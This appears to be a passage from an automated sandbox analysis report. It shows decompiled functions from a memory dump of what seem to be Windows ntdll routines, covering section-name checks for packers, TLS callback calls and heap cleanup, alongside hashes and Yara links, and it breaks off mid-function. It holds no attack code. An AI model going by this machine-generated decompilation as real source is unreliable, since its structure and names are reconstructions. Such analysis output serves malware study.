String ID: RtlpQueryAssemblyInformationActivationContextDetailedInformation$SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context
API String ID: 3378804984-1390252366
Opcode ID: 6bdf74ad15fbeff1711bd33da109dee5eb39c8d9dc9ec5ae4dc813410013058d
Instruction ID: f464b34be9a50760da56fcf6698df722997da2489bb464b23754f004b04bc1b1
Opcode Fuzzy Hash: 6bdf74ad15fbeff1711bd33da109dee5eb39c8d9dc9ec5ae4dc813410013058d
Instruction Fuzzy Hash: 1181E7B5A00616EFD750CF29C880A99B7F4FF48318B1546A9E918DB701E335F9A2CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6B5442EB, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 90
stringCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E6B5442EB(void* __ecx) {
				int _v8;
				void* _v12;
				void* _t25;
				void* _t29;
				int _t32;
				int _t35;
				intOrPtr _t37;
				char* _t40;
				intOrPtr _t42;
				int _t45;
				intOrPtr _t46;
				intOrPtr _t49;
				void* _t52;
				void* _t54;
				void* _t55;

				_push(__ecx);
				_push(__ecx);
				_t37 =  *((intOrPtr*)(__ecx + 0x18));
				_t52 = 0;
				E6B55E9C0(3, _t37, 0, 0,  &_v12);
				_t49 = _v12;
				_t42 =  *((intOrPtr*)(_t49 + 0x78));
				if(_t42 != 0) {
					if( *((intOrPtr*)(_t49 + 0x7c)) <= 0) {
						goto L1;
					}
					_t46 =  *((intOrPtr*)(_t49 + 0x50));
					if(_t42 >= _t46 - 0xd) {
						goto L1;
					}
					_t43 =  *((intOrPtr*)(_t42 + _t37 + 0xc));
					if( *((intOrPtr*)(_t42 + _t37 + 0xc)) > _t46 - 0xc) {
						goto L1;
					}
					_push(0xc);
					_t29 = E6B58E000(_t43 + _t37, "secserv.dll");
					_t55 = _t54 + 0xc;
					if(_t29 != 0) {
						goto L1;
					}
					_t40 = _t49 + 0x18 + ( *(_t49 + 0x14) & 0x0000ffff);
					_t45 = 1;
					_t32 = 1;
					_v12 = 1;
					_v8 = 1;
					if(0 >=  *(_t49 + 6)) {
						goto L1;
					} else {
						L9:
						while(1) {
							if(_t32 != 0) {
								_t35 = strncmp(_t40, ".txt", 5);
								_t45 = _v12;
								_t55 = _t55 + 0xc;
								_v8 = _t35;
							}
							if(_t45 != 0) {
								_t45 = strncmp(_t40, ".txt2", 6);
								_t55 = _t55 + 0xc;
								_v12 = _t45;
							}
							if(_v8 != 0 || _t45 != 0) {
								_t40 =  &(_t40[0x28]);
								_t52 = _t52 + 1;
								if(_t52 >= ( *(_t49 + 6) & 0x0000ffff)) {
									goto L1;
								}
								_t32 = _v8;
								continue;
							} else {
								_t25 = 1;
								L2:
								return _t25;
							}
						}
					}
				}
				L1:
				_t25 = 0;
				goto L2;
			}

0x6b5442f0
0x6b5442f1
0x6b5442f3
0x6b5442fc
0x6b544303
0x6b544308
0x6b54430b
0x6b544310
0x6b54431e
0x00000000
0x00000000
0x6b544320
0x6b544328
0x00000000
0x00000000
0x6b54432a
0x6b544333
0x00000000
0x00000000
0x6b544335
0x6b544340
0x6b544345
0x6b54434a
0x00000000
0x00000000
0x6b5a06b7
0x6b5a06bd
0x6b5a06be
0x6b5a06bf
0x6b5a06c4
0x6b5a06cb
0x00000000
0x00000000
0x00000000
0x6b5a06d1
0x6b5a06d3
0x6b5a06dd
0x6b5a06e2
0x6b5a06e5
0x6b5a06e8
0x6b5a06e8
0x6b5a06ed
0x6b5a06fc
0x6b5a06fe
0x6b5a0701
0x6b5a0701
0x6b5a0708
0x6b5a0719
0x6b5a071c
0x6b5a071f
0x00000000
0x00000000
0x6b5a0725
0x00000000
0x6b5a070e
0x6b5a070e
0x6b544314
0x6b54431a
0x6b54431a
0x6b5a0708
0x6b5a06d1
0x6b5a06cb
0x6b544312
0x6b544312
0x00000000

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?,?,?,00000000,?,?,?,6B544176,00000003,?,00000000,00000000), ref: 6B544303
_strnicmp.1105(?,secserv.dll,0000000C,00000003,?,00000000,00000000,?,?,?,00000000,?,?,?,6B544176,00000003), ref: 6B544340
strncmp.1105(?,.txt,00000005), ref: 6B5A06DD
strncmp.1105(?,.txt2,00000006), ref: 6B5A06F7

Strings

.txt, xrefs: 6B5A06D7
.txt2, xrefs: 6B5A06F1
secserv.dll, xrefs: 6B54433A

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: strncmp$HeaderImage_strnicmp
String ID: .txt$.txt2$secserv.dll
API String ID: 290936131-436433099
Opcode ID: 1ad9b720b390ce22651fd54efffd781ad95b773dcb9ab630a9d7a767f3b2e12b
Instruction ID: 5976943a3d0d5bdac9231dae01df2b81e062834324302223d0b9b3719e6d41a4
Opcode Fuzzy Hash: 1ad9b720b390ce22651fd54efffd781ad95b773dcb9ab630a9d7a767f3b2e12b
Instruction Fuzzy Hash: 8221F670E40216A7FB14CF658890ADFF7B9EF40B48F1445A9E505A7140F738E982CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B5441F7, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 77
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6B5441F7(intOrPtr __ecx) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				int _t26;
				int _t31;
				int _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				void* _t37;
				intOrPtr _t39;
				void* _t40;
				char* _t42;
				void* _t43;
				int _t49;

				_t33 = __ecx;
				_v12 = __ecx;
				E6B55E9C0(3,  *((intOrPtr*)(__ecx + 0x18)), 0, 0,  &_v8);
				_t40 = 0;
				_t34 = _v8;
				_v16 =  *((intOrPtr*)(_t33 + 0x1c));
				_t42 = _t34 + 0x18 + ( *(_t34 + 0x14) & 0x0000ffff);
				if(0 >=  *(_t34 + 6)) {
					L8:
					return 0;
				} else {
					goto L1;
				}
				do {
					L1:
					if(_t42[0xc] != 0 && _t42[8] != 0) {
						_t26 = strncmp(_t42, ".aspack", 8);
						_t43 = _t43 + 0xc;
						if(_t26 == 0) {
							L11:
							_t39 = _v16;
							_t37 = _t42[0xc] +  *((intOrPtr*)(_v12 + 0x18));
							if(_t39 >= _t37 && _t39 <= _t42[8] + _t37) {
								L6:
								if(_t49 == 0) {
									return 1;
								}
							}
							goto L7;
						}
						_t31 = strncmp(_t42, ".pcle", 6);
						_t43 = _t43 + 0xc;
						if(_t31 == 0) {
							goto L11;
						}
						_t32 = strncmp(_t42, ".sforce", 8);
						_t43 = _t43 + 0xc;
						_t49 = _t32;
						goto L6;
					}
					L7:
					_t40 = _t40 + 1;
					_t42 =  &(_t42[0x28]);
				} while (_t40 < ( *(_t34 + 6) & 0x0000ffff));
				goto L8;
			}

0x6b544205
0x6b54420f
0x6b544214
0x6b54421c
0x6b54421e
0x6b544221
0x6b54422b
0x6b544233
0x6b544291
0x00000000
0x00000000
0x00000000
0x00000000
0x6b544235
0x6b544235
0x6b544239
0x6b544249
0x6b54424e
0x6b544253
0x6b5a064c
0x6b5a0652
0x6b5a0655
0x6b5a065a
0x6b544283
0x6b544283
0x00000000
0x6b54429a
0x6b544283
0x00000000
0x6b5a065a
0x6b544261
0x6b544266
0x6b54426b
0x00000000
0x00000000
0x6b544279
0x6b54427e
0x6b544281
0x00000000
0x6b544281
0x6b544285
0x6b544289
0x6b54428a
0x6b54428d
0x00000000

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?,?,?,00000000), ref: 6B544214
strncmp.1105(?,.aspack,00000008,00000003,?,00000000,00000000,?,?,?,00000000), ref: 6B544249
strncmp.1105(?,.pcle,00000006,?,?,00000000), ref: 6B544261
strncmp.1105(?,.sforce,00000008,?,?,?,?,?,00000000), ref: 6B544279

Strings

.aspack, xrefs: 6B544243
.sforce, xrefs: 6B544273
.pcle, xrefs: 6B54425B

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: strncmp$HeaderImage
String ID: .aspack$.pcle$.sforce
API String ID: 3137002299-3067156003
Opcode ID: cf01e1faa18c6d5273b744e2577805977893d73730ca5ba00c9ae6598e940046
Instruction ID: e32500004eb4d0be5234b22da06cde528dca64a9794987b6373c88498c7113b5
Opcode Fuzzy Hash: cf01e1faa18c6d5273b744e2577805977893d73730ca5ba00c9ae6598e940046
Instruction Fuzzy Hash: 4F210831B842116BFB50DF65DC81BDFB3A9DF44704F048465ED48A728AEB38ED91CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B550C30, Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E6B550C30(intOrPtr __ecx, void* __edx) {
				intOrPtr _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t20;
				void* _t24;
				void* _t27;
				intOrPtr _t29;
				void* _t37;
				intOrPtr* _t40;
				intOrPtr* _t42;
				signed int _t43;
				void* _t44;
				intOrPtr _t45;

				_t30 = __ecx;
				_push(0xfffffffe);
				_push(0x6b61f8f8);
				_push(0x6b5917f0);
				_push( *[fs:0x0]);
				_t45 = _t44 - 0x18;
				_push(_t27);
				_t20 =  *0x6b63d360;
				_v12 = _v12 ^ _t20;
				_push(_t20 ^ _t43);
				 *[fs:0x0] =  &_v20;
				_v28 = _t45;
				_t37 = __edx;
				_v32 = __ecx;
				E6B56FAD0(0x6b638550);
				_t40 =  *0x6b635368; // 0x6b635368
				if(_t40 == 0x6b635368) {
					L3:
					_t40 = 0;
					L4:
					_t24 = E6B56FA00(_t27, _t30, _t37, 0x6b638550);
					if(_t40 == 0) {
						L9:
						 *[fs:0x0] = _v20;
						return _t24;
					}
					_t42 =  *((intOrPtr*)(_t40 + 0x14));
					if(_t42 == 0) {
						goto L9;
					}
					_v8 = 0;
					while(1) {
						_t29 =  *_t42;
						if(_t29 == 0) {
							break;
						}
						_v36 = _t29;
						_t42 = _t42 + 4;
						_v40 = _t42;
						__eflags =  *0x6b635780 & 0x00000005;
						if(__eflags != 0) {
							_push( *((intOrPtr*)(_t37 + 0x18)));
							_t18 = _t37 + 0x24; // 0xcf
							E6B5C5510("minkernel\\ntdll\\ldrtls.c", 0x425, "LdrpCallTlsInitializers", 2, "Calling TLS callback %p for DLL \"%wZ\" at %p\n", _t29);
							_t45 = _t45 + 0x20;
						}
						_push(0);
						_push(_v32);
						_t24 = E6B55FC01(_t29, _t29,  *((intOrPtr*)(_t37 + 0x18)), _t37, _t42, __eflags);
					}
					_v8 = 0xfffffffe;
					goto L9;
				}
				while( *((intOrPtr*)(_t40 + 0x20)) != _t37) {
					_t40 =  *_t40;
					if(_t40 != 0x6b635368) {
						continue;
					}
					goto L3;
				}
				goto L4;
			}

0x6b550c30
0x6b550c35
0x6b550c37
0x6b550c3c
0x6b550c47
0x6b550c48
0x6b550c4b
0x6b550c4e
0x6b550c53
0x6b550c58
0x6b550c5c
0x6b550c62
0x6b550c65
0x6b550c67
0x6b550c6f
0x6b550c74
0x6b550c80
0x6b550c91
0x6b550c91
0x6b550c93
0x6b550c98
0x6b550c9f
0x6b550cbd
0x6b550cc0
0x6b550cce
0x6b550cce
0x6b550ca1
0x6b550ca6
0x00000000
0x00000000
0x6b550ca8
0x6b550cb0
0x6b550cb0
0x6b550cb4
0x00000000
0x00000000
0x6b550ccf
0x6b550cd2
0x6b550cd5
0x6b550cd8
0x6b550cdf
0x6b5a6424
0x6b5a6427
0x6b5a6442
0x6b5a6447
0x6b5a6447
0x6b550ce5
0x6b550ce7
0x6b550cef
0x6b550cef
0x6b550cb6
0x00000000
0x6b550cb6
0x6b550c82
0x6b550c87
0x6b550c8f
0x00000000
0x00000000
0x00000000
0x6b550c8f
0x00000000

APIs

RtlAcquireSRWLockShared.1105(6B638550,?,?,00000000,000000FF,6B61F868,00000038,6B54F563), ref: 6B550C6F
RtlReleaseSRWLockShared.1105(6B638550,6B638550,?,?,00000000,000000FF,6B61F868,00000038,6B54F563), ref: 6B550C98

Strings

LdrpCallTlsInitializers, xrefs: 6B5A6433
hSck, xrefs: 6B550C89
Calling TLS callback %p for DLL "%wZ" at %p, xrefs: 6B5A642C
hSck, xrefs: 6B550C7A
minkernel\ntdll\ldrtls.c, xrefs: 6B5A643D

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireRelease
String ID: Calling TLS callback %p for DLL "%wZ" at %p$LdrpCallTlsInitializers$hSck$hSck$minkernel\ntdll\ldrtls.c
API String ID: 2614130328-1928656105
Opcode ID: 5ea745557d5d42442ddb2745f7b122dfa298f1f5207c68a4583ac235bee1a274
Instruction ID: 9dc663c041dc8fb1617ba319a379ea8bc4b04a63a9f5b7f7303db8c316b690fa
Opcode Fuzzy Hash: 5ea745557d5d42442ddb2745f7b122dfa298f1f5207c68a4583ac235bee1a274
Instruction Fuzzy Hash: 1C21C7B2D04754ABEB20DF65C881BDAF7B5FB45718F15056BED1163240E378AC1087E1

Uniqueness

Uniqueness Score: -1.00%

Function 6B55EC7F, Relevance: 12.3, APIs: 8, Instructions: 256
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6B55EC7F(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t65;
				intOrPtr* _t67;
				intOrPtr _t69;
				intOrPtr _t72;
				intOrPtr _t73;
				void* _t75;
				intOrPtr _t76;
				signed int _t77;
				void* _t78;
				intOrPtr _t80;
				signed int _t81;
				void* _t83;
				void* _t85;
				intOrPtr _t90;
				void* _t91;
				void* _t96;
				void _t99;
				intOrPtr* _t104;
				intOrPtr* _t106;
				unsigned int _t112;
				unsigned int _t114;
				intOrPtr* _t115;
				void* _t118;
				intOrPtr _t120;
				unsigned int _t122;
				unsigned int _t124;
				intOrPtr* _t125;
				intOrPtr* _t129;
				intOrPtr* _t134;
				intOrPtr* _t136;
				void* _t138;
				signed int* _t140;
				void* _t141;
				void* _t143;
				void* _t146;
				intOrPtr _t148;
				void* _t149;
				void* _t151;
				void* _t153;

				_push(_t96);
				_t146 = __ecx;
				_push(_t138);
				_t65 =  *(__ecx + 0x50);
				if( *((intOrPtr*)(_t65 + 0xc)) == 0xffffffff) {
					L3:
					return _t65;
				} else {
					_t65 =  *_t65;
					if(( *(_t65 - 0x20) & 0x00000020) != 0) {
						goto L3;
					} else {
						_t65 = _t65 | 0xffffffff;
						asm("lock xadd [esi+0x9c], eax");
						if(_t65 == 0) {
							E6B562280(_t65, 0x6b6384d8);
							_t67 = _t146 + 0x54;
							_t120 =  *_t67;
							if( *((intOrPtr*)(_t120 + 4)) != _t67) {
								L15:
								_push(3);
								asm("int 0x29");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(0x30);
								_push(0x6b61fb78);
								E6B59D08C(_t96, _t138, _t146);
								_t148 =  *((intOrPtr*)(_t153 + 8));
								if(_t148 == 0) {
									L60:
									_t69 = 0xc000000d;
								} else {
									_t140 =  *(_t153 + 0x14);
									if(_t140 == 0) {
										goto L60;
									} else {
										 *((intOrPtr*)(_t153 - 4)) = 0;
										if( *((intOrPtr*)(_t153 + 0xc)) >= 0x10000) {
											_t122 =  *(_t148 + 0x58) >> 1;
											 *(_t153 - 0x20) = _t122;
											_t104 =  *((intOrPtr*)(_t148 + 0x54)) + _t148;
											 *((intOrPtr*)(_t153 - 0x1c)) = _t104;
											if(_t104 <= 0x10000) {
												L38:
												if( *_t104 == 0) {
													goto L55;
												} else {
													_t72 = 1;
													if(_t122 <= 0) {
														goto L55;
													}
												}
											} else {
												while(_t122 > 0) {
													if( *_t104 == 0) {
														L55:
														_t72 = 0;
													} else {
														_t78 = E6B58E490( *((intOrPtr*)(_t153 + 0xc)), _t104);
														_t104 =  *((intOrPtr*)(_t153 - 0x1c));
														if(_t78 != 0) {
															_t129 = _t104;
															_t54 = _t129 + 2; // 0x22
															 *((intOrPtr*)(_t153 - 0x2c)) = _t54;
															do {
																_t80 =  *_t129;
																_t129 = _t129 + 2;
															} while (_t80 != 0);
															_t81 = (_t129 -  *((intOrPtr*)(_t153 - 0x2c)) >> 1) + 1;
															_t104 = _t104 + _t81 * 2;
															 *((intOrPtr*)(_t153 - 0x1c)) = _t104;
															_t122 =  *(_t153 - 0x20) - _t81;
															 *(_t153 - 0x20) = _t122;
															continue;
														} else {
															_t122 =  *(_t153 - 0x20);
															goto L38;
														}
													}
													goto L40;
												}
												goto L38;
											}
											L40:
											if(_t72 == 0) {
												 *_t140 =  *_t140 | 0x00040000;
											}
											_t124 =  *(_t148 + 0x68) >> 1;
											 *(_t153 - 0x28) = _t124;
											_t106 =  *((intOrPtr*)(_t148 + 0x64)) + _t148;
											 *((intOrPtr*)(_t153 - 0x24)) = _t106;
											if(_t106 <= 0x10000) {
												L57:
												if( *_t106 == 0 || _t124 <= 0) {
													goto L30;
												} else {
													_t73 = 1;
												}
											} else {
												while(_t124 > 0) {
													if( *_t106 == 0) {
														L30:
														_t73 = 0;
													} else {
														_t75 = E6B58E490( *((intOrPtr*)(_t153 + 0xc)), _t106);
														_t106 =  *((intOrPtr*)(_t153 - 0x24));
														if(_t75 == 0) {
															_t124 =  *(_t153 - 0x28);
															goto L57;
														} else {
															_t125 = _t106;
															_t47 = _t125 + 2; // 0xc00000e7
															_t149 = _t47;
															do {
																_t76 =  *_t125;
																_t125 = _t125 + 2;
															} while (_t76 != 0);
															_t48 = (_t125 - _t149 >> 1) + 1; // 0xc00000e4
															_t77 = _t48;
															_t106 = _t106 + _t77 * 2;
															 *((intOrPtr*)(_t153 - 0x24)) = _t106;
															_t124 =  *(_t153 - 0x28) - _t77;
															 *(_t153 - 0x28) = _t124;
															continue;
														}
													}
													goto L31;
												}
												goto L57;
											}
											L31:
											if(_t73 != 0) {
												goto L28;
											} else {
												goto L32;
											}
											goto L63;
										} else {
											_t112 =  *(_t148 + 0x60) >> 2;
											 *(_t153 - 0x30) = _t112;
											_t134 =  *((intOrPtr*)(_t148 + 0x5c)) + _t148;
											 *((intOrPtr*)(_t153 - 0x34)) = _t134;
											while(1) {
												_t112 = _t112 - 1;
												 *(_t153 - 0x30) = _t112;
												if(_t112 < 0) {
													break;
												}
												_t85 =  *((intOrPtr*)(_t153 + 0xc)) -  *_t134;
												_t134 = _t134 + 4;
												 *((intOrPtr*)(_t153 - 0x34)) = _t134;
												if(_t85 != 0) {
													continue;
												}
												break;
											}
											if(_t112 < 0) {
												 *_t140 =  *_t140 | 0x00040000;
											}
											_t114 =  *(_t148 + 0x70) >> 2;
											 *(_t153 - 0x38) = _t114;
											_t136 =  *((intOrPtr*)(_t148 + 0x6c)) + _t148;
											 *((intOrPtr*)(_t153 - 0x3c)) = _t136;
											while(1) {
												_t114 = _t114 - 1;
												 *(_t153 - 0x38) = _t114;
												if(_t114 < 0) {
													break;
												}
												_t83 =  *((intOrPtr*)(_t153 + 0xc)) -  *_t136;
												_t136 = _t136 + 4;
												 *((intOrPtr*)(_t153 - 0x3c)) = _t136;
												if(_t83 != 0) {
													continue;
												}
												break;
											}
											if(_t114 < 0) {
												L32:
												 *_t140 =  *_t140 | 0x00020000;
											}
										}
										L28:
										 *((intOrPtr*)(_t153 - 4)) = 0xfffffffe;
										_t69 = 0;
									}
								}
								return E6B59D0D1(_t69);
							} else {
								_t115 =  *((intOrPtr*)(_t67 + 4));
								if( *_t115 != _t67) {
									goto L15;
								} else {
									 *_t115 = _t120;
									 *((intOrPtr*)(_t120 + 4)) = _t115;
									_t141 =  *(_t146 + 0x50);
									_t99 =  *_t141;
									E6B55FFB0(_t99, _t141, 0x6b6384d8);
									if( *((intOrPtr*)(_t146 + 0x3a)) != 0) {
										E6B5837F5(_t146, 0);
									}
									E6B580413(_t146);
									_t90 =  *((intOrPtr*)(_t146 + 0x48));
									if(_t90 != 0) {
										if(_t90 != 0xffffffff) {
											E6B579B10(_t90);
										}
									}
									if( *((intOrPtr*)(_t146 + 0x28)) != 0) {
										E6B5702D6(_t146 + 0x24);
									}
									_t65 = RtlFreeHeap( *0x6b637b98, 0, _t146);
									if(_t99 != _t141) {
										goto L3;
									} else {
										_t118 = _t141;
										_pop(_t142);
										_pop(_t150);
										_t143 = _t118;
										_t91 =  *(_t143 + 8);
										if(_t91 != 0) {
											do {
												_t151 =  *_t91;
												RtlFreeHeap( *0x6b637b98, 0, _t91);
												_t91 = _t151;
											} while (_t151 != 0);
										}
										return RtlFreeHeap( *0x6b637b98, 0, _t143);
									}
								}
							}
						} else {
							goto L3;
						}
					}
				}
				L63:
			}

0x6b55ec81
0x6b55ec83
0x6b55ec85
0x6b55ec86
0x6b55ec8d
0x6b55eca4
0x6b55eca7
0x6b55ec8f
0x6b55ec8f
0x6b55ec95
0x00000000
0x6b55ec97
0x6b55ec97
0x6b55ec9a
0x6b55eca2
0x6b55ecad
0x6b55ecb2
0x6b55ecb5
0x6b55ecba
0x6b55ed2f
0x6b55ed2f
0x6b55ed32
0x6b55ed34
0x6b55ed35
0x6b55ed36
0x6b55ed37
0x6b55ed38
0x6b55ed39
0x6b55ed3a
0x6b55ed3b
0x6b55ed3c
0x6b55ed3d
0x6b55ed3e
0x6b55ed3f
0x6b55ed40
0x6b55ed42
0x6b55ed47
0x6b55ed4e
0x6b55ed53
0x6b5abaf2
0x6b5abaf2
0x6b55ed59
0x6b55ed59
0x6b55ed5e
0x00000000
0x6b55ed64
0x6b55ed64
0x6b55ed6f
0x6b55edf1
0x6b55edf3
0x6b55edf9
0x6b55edfb
0x6b55ee00
0x6b55ee28
0x6b55ee2b
0x00000000
0x6b55ee31
0x6b55ee33
0x6b55ee35
0x00000000
0x00000000
0x6b55ee35
0x6b55ee02
0x6b55ee02
0x6b55ee09
0x6b5abaae
0x6b5abaae
0x6b55ee0f
0x6b55ee13
0x6b55ee1a
0x6b55ee1f
0x6b55eea9
0x6b55eeab
0x6b55eeae
0x6b55eeb1
0x6b55eeb1
0x6b55eeb4
0x6b55eeb7
0x6b55eec1
0x6b55eec4
0x6b55eec7
0x6b55eecd
0x6b55eecf
0x00000000
0x6b55ee25
0x6b55ee25
0x00000000
0x6b55ee25
0x6b55ee1f
0x00000000
0x6b55ee09
0x00000000
0x6b55ee02
0x6b55ee3b
0x6b55ee3d
0x6b5abab5
0x6b5abab5
0x6b55ee46
0x6b55ee48
0x6b55ee4e
0x6b55ee50
0x6b55ee59
0x6b5abac0
0x6b5abac3
0x00000000
0x6b5abad1
0x6b5abad3
0x6b5abad3
0x6b55ee5f
0x6b55ee5f
0x6b55ee6a
0x6b55ede0
0x6b55ede0
0x6b55ee70
0x6b55ee74
0x6b55ee7b
0x6b55ee80
0x6b55eed7
0x00000000
0x6b55ee82
0x6b55ee82
0x6b55ee84
0x6b55ee84
0x6b55ee87
0x6b55ee87
0x6b55ee8a
0x6b55ee8d
0x6b55ee96
0x6b55ee96
0x6b55ee99
0x6b55ee9c
0x6b55eea2
0x6b55eea4
0x00000000
0x6b55eea4
0x6b55ee80
0x00000000
0x6b55ee6a
0x00000000
0x6b55ee5f
0x6b55ede2
0x6b55ede4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6b55ed71
0x6b55ed74
0x6b55ed77
0x6b55ed7d
0x6b55ed7f
0x6b55ed82
0x6b55ed82
0x6b55ed85
0x6b55ed88
0x00000000
0x00000000
0x6b55ed8d
0x6b55ed8f
0x6b55ed92
0x6b55ed97
0x00000000
0x00000000
0x00000000
0x6b55ed97
0x6b55ed9b
0x6b55ed9d
0x6b55ed9d
0x6b55eda6
0x6b55eda9
0x6b55edaf
0x6b55edb1
0x6b55edb4
0x6b55edb4
0x6b55edb7
0x6b55edba
0x00000000
0x00000000
0x6b55edbf
0x6b55edc1
0x6b55edc4
0x6b55edc9
0x00000000
0x00000000
0x00000000
0x6b55edc9
0x6b55edcd
0x6b55ede6
0x6b55ede6
0x6b55ede6
0x6b55edcd
0x6b55edcf
0x6b55edcf
0x6b55edd6
0x6b55edd6
0x6b55ed5e
0x6b55eddd
0x6b55ecbc
0x6b55ecbc
0x6b55ecc1
0x00000000
0x6b55ecc3
0x6b55ecc3
0x6b55ecc5
0x6b55ecc8
0x6b55ecd0
0x6b55ecd2
0x6b55ecdd
0x6b55ed1b
0x6b55ed1b
0x6b55ece1
0x6b55ece6
0x6b55eceb
0x6b55ed25
0x6b55ed28
0x6b55ed28
0x6b55ed25
0x6b55ecf1
0x6b55ecf6
0x6b55ecf6
0x6b55ed04
0x6b55ed0b
0x00000000
0x6b55ed0d
0x6b55ed0d
0x6b55ed0f
0x6b55ed10
0x6b57c27a
0x6b57c27c
0x6b57c281
0x6b5ba692
0x6b5ba692
0x6b5ba69d
0x6b5ba6a2
0x6b5ba6a4
0x6b5ba6a8
0x6b57c292
0x6b57c292
0x6b55ed0b
0x6b55ecc1
0x00000000
0x00000000
0x00000000
0x6b55eca2
0x6b55ec95
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(6B6384D8,6B5917F0,00000000,?,6B56F715,6B56F5C0,?,?,?,00000001,-00000F38), ref: 6B55ECAD
RtlReleaseSRWLockExclusive.1105(6B6384D8,6B6384D8,6B5917F0,00000000,?,6B56F715,6B56F5C0,?,?,?,00000001,-00000F38), ref: 6B55ECD2
RtlFreeHeap.1105(00000000,?,6B6384D8,6B6384D8,6B5917F0,00000000,?,6B56F715,6B56F5C0,?,?,?,00000001,-00000F38), ref: 6B55ED04
RtlReleaseActivationContext.1105(-00000F38,6B6384D8,6B6384D8,6B5917F0,00000000,?,6B56F715,6B56F5C0,?,?,?,00000001,-00000F38), ref: 6B55ED28
_wcsicmp.1105(6B61FE98,?,6B61FB78,00000030,6B6384D8,6B5917F0,00000000,?,6B56F715,6B56F5C0,?,?,?,00000001,-00000F38), ref: 6B55EE13
_wcsicmp.1105(6B61FE98,?,6B61FB78,00000030,6B6384D8,6B5917F0,00000000,?,6B56F715,6B56F5C0,?,?,?,00000001,-00000F38), ref: 6B55EE74
RtlFreeHeap.1105(00000000,?,6B5917F0,6B56F715,6B56F5C0,?,?,?,00000001,-00000F38), ref: 6B57C28C

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveFreeHeapLockRelease_wcsicmp$AcquireActivationContext
String ID:
API String ID: 176173115-0
Opcode ID: 063a7f824a31f218d38da8723c9816c184a753cb514fa44aba18d38976a847e3
Instruction ID: e93020444f72434dfa93d2dfc392058a6effd4616987790297efe24faaa9f8fe
Opcode Fuzzy Hash: 063a7f824a31f218d38da8723c9816c184a753cb514fa44aba18d38976a847e3
Instruction Fuzzy Hash: 9A811472E202058FFB14DF6CC840ADDB7B2BF89315F1485AEE419AB654E738E852CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6B547220, Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E6B547220(char* _a4, intOrPtr _a8, intOrPtr* _a12, signed int* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed char _v20;
				signed int _v24;
				char _v25;
				intOrPtr _v32;
				signed int _v36;
				signed int _v40;
				signed int* _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t54;
				void* _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				void* _t60;
				signed int _t64;
				signed int _t65;
				signed short _t67;
				void* _t76;
				void* _t80;
				signed int _t81;
				intOrPtr* _t87;
				void* _t88;
				char _t90;
				signed int _t93;
				signed int _t94;
				signed int _t95;
				signed char _t96;
				signed char _t99;
				intOrPtr _t105;
				void* _t110;
				void* _t111;
				intOrPtr _t112;
				signed int _t117;
				signed int _t118;
				signed int _t119;
				char* _t122;
				intOrPtr* _t123;
				signed int _t124;

				_v8 =  *0x6b63d360 ^ _t124;
				_t87 = _a12;
				_t122 = _a4;
				_v44 = _a16;
				_t119 =  &_v24;
				do {
					_v36 = _v36 & 0x00000000;
					_v25 = 0;
					_t54 = 0xa;
